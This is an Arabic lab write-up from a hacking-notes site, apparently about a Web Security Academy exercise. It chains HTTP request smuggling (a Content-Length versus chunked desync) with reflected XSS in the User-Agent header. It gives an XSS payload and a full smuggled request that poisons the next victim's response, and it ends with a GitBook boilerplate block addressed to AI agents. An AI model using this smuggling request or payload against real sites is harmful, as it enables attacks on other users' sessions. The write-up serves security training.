> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/request-smuggling/http-request-smuggling-to-deliver-reflected-xss.md).

# تهريب طلبات HTTP لتسليم XSS منعكس

### استغلال تهريب طلبات HTTP لتسليم XSS منعكس

يقوم المعمل بإعداد خادم للواجهة الأمامية وخادم للواجهة الخلفية. / الواجهة الأمامية **لا يدعم الترميز المجزأ**، مما يمهد الطريق لهجوم من نوع **تهريب طلبات HTTP**.

يحتوي التطبيق أيضًا على ثغرة من نوع **XSS منعكس عبر الترويسة User-Agent**.

الهدف هو **إرسال** طلب مهرب إلى الخادم الخلفي بحيث **يتلقى طلب المستخدم الضحية التالي استجابةً تحتوي على حمولة XSS تعمل `alert(1)`**.

ينشئ المعمل بشكل دوري طلبات لـ

### ثغرة XSS في User Agent

الـ `userAgent` يُعاد استخدام الحقل في النماذج مباشرةً في الاستجابة، مما يتيح الحقن:

<figure><img src="/files/cc8fec6e6be70b8493464d6771f4ef428e69dd89" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```html
<input required type="hidden" name="userAgent" value="Mozilla/5.0 (Windows NT 10.0; rv:128.0) Gecko/20100101 Firefox/128.0">
```

{% endcode %}

تُقبل هذه الحمولة وتُفسَّر، مما يؤكد وجود ثغرة XSS.

{% code overflow="wrap" %}

```html
"><script>alert(0)</script>
```

{% endcode %}

<figure><img src="/files/75803a6a255852de9bb525a29cdcc11ed379f4eb" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/2d656a5327fdf541b4da973bf718fabdf63d0dd4" alt=""><figcaption></figcaption></figure>

### **هدف الهجوم**

الفكرة هي استخدام التهريب لضمان أن:

1. تقرأ الواجهة الأمامية الطلب وفقًا لـ **Content-Length**.
2. تقرأ الواجهة الخلفية وفقًا لـ **Transfer-Encoding: chunked**.
3. يعدّل الطلب المهرب الطلب التالي للمستخدم الضحية.
4. ثم يعيد الخادم استجابةً تحتوي على حمولة XSS الخاصة بنا في ترويسة User-Agent.

### **طلب التطبيق المهرب**

تقترح طلب POST يحتوي على جسم فارغ (`0/r/n/r/n`) لإنهاء الجزء المجزأ، متبوعًا بالطلب إلى الخادم الخلفي

```http
POST / HTTP/1.1
Host: 0a03007904861a418091d63e00800003.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 172
Transfer-Encoding: chunked

0

GET /post?postId=6 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: session=tacWnPVGep8Me8A2MnkwA8hx5mrBU9la
User-Agent: "><script>alert(0)</script>
```

ستُفسَّر هذه الطلبية الثانية (المهربة) على أنها جزء من طلب المستخدم التالي — المستخدم الضحية — مما يتيح حقن حمولة XSS في الاستجابة التي سيتلقاها.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/request-smuggling/http-request-smuggling-to-deliver-reflected-xss.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
